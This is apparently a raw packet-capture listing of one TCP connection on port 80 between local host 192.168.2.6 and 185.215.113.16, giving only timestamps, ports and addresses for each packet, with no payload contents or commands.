Oct 24, 2024 09:07:26.927156925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.927166939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.927172899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.927190065 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.927220106 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.927299023 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.969417095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.969460011 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.969470024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.969475985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.969521046 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.969537020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.969544888 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.969563961 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.969592094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.969613075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.969624043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.969660997 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.969690084 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.969691038 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.969717026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.969722033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.969774961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.969820976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.969831944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.969852924 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.969909906 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.969947100 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.969952106 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.969960928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.969965935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.969996929 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.970026970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970082998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970093966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970115900 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.970139980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970185995 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.970201015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970206022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970269918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970277071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970336914 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.970339060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970355034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970366001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970417976 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.970417976 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.970457077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970463037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970478058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970520020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970524073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970556021 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.970619917 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.970642090 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970689058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970695972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970767975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970773935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970807076 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.970835924 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970879078 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.970890045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970896006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970961094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970967054 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970978975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.970989943 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.971018076 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.971035004 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.971061945 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.971069098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.971081018 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.971147060 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.188369989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.188628912 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.379446983 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.385004044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385010958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385021925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385027885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385032892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385039091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385050058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385086060 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.385147095 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.385162115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385179996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385185003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385195017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385200024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385204077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385214090 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385238886 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.385272980 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.385499001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385505915 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385565042 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.385571957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385577917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385591030 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385596037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385601044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385607004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385634899 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.385667086 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.385859013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385864019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385875940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385880947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385886908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385899067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385905027 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385910034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385915041 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.385921001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.385941982 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.385971069 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.386296034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.386301041 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.386312962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.386318922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.386328936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.386334896 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.386346102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.386351109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.386356115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.386360884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.386364937 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.386365891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.386364937 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.386372089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.386378050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.386389971 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.386424065 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.386723995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.386780977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.386787891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.386848927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.386853933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.386858940 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.386864901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.386871099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.386905909 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.387101889 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387108088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387119055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387125015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387130022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387135029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387145042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387150049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387155056 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.387156963 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387217045 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.387217045 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.387437105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387443066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387454033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387459993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387465000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387475014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387496948 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.387547016 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.387547970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387553930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387563944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387568951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387573957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387586117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387590885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387597084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.387604952 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.387629986 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.387656927 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.388012886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388067961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388073921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388113022 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.388138056 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388149023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388151884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388158083 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388192892 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.388223886 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.388334036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388339043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388350010 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388355017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388360023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388377905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388382912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388389111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388391018 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.388395071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388420105 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.388494015 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.388680935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388770103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388776064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388786077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388792038 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388797045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.388838053 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.388870001 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.389017105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389022112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389033079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389039040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389046907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389049053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389054060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389058113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389074087 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.389113903 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.389309883 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389321089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389326096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389331102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389336109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389345884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389359951 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.389389038 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.389461994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389467955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389477968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389483929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389518023 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.389549017 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.389744043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389756918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389767885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389772892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389781952 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389792919 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389795065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.389808893 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.389854908 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.390034914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390039921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390049934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390055895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390065908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390094042 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.390125036 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.390311003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390316963 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390321970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390326977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390331984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390337944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390360117 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.390388012 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.390476942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390482903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390492916 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390538931 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.390580893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390587091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390592098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390598059 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390604019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390614986 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390619993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390626907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390629053 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.390638113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.390650034 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.390678883 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.390678883 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.391005993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391016006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391022921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391027927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391067028 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.391096115 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.391185999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391191959 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391202927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391207933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391215086 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391239882 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.391333103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391341925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391382933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391387939 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.391463995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391475916 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391480923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391486883 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391499043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391505003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391530991 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.391545057 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.391671896 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391683102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391689062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391700029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391705036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391710997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391722918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391730070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391742945 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.391756058 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.391771078 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.391972065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391977072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391988993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391993999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.391999960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392009974 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392015934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392021894 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.392036915 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392046928 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.392087936 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.392159939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392195940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392200947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392286062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392292023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392302990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392308950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392313004 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.392340899 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.392462015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392472982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392479897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392486095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392497063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392503023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392513037 CEST	49772	80	192.168.2.6	185.215.113.16
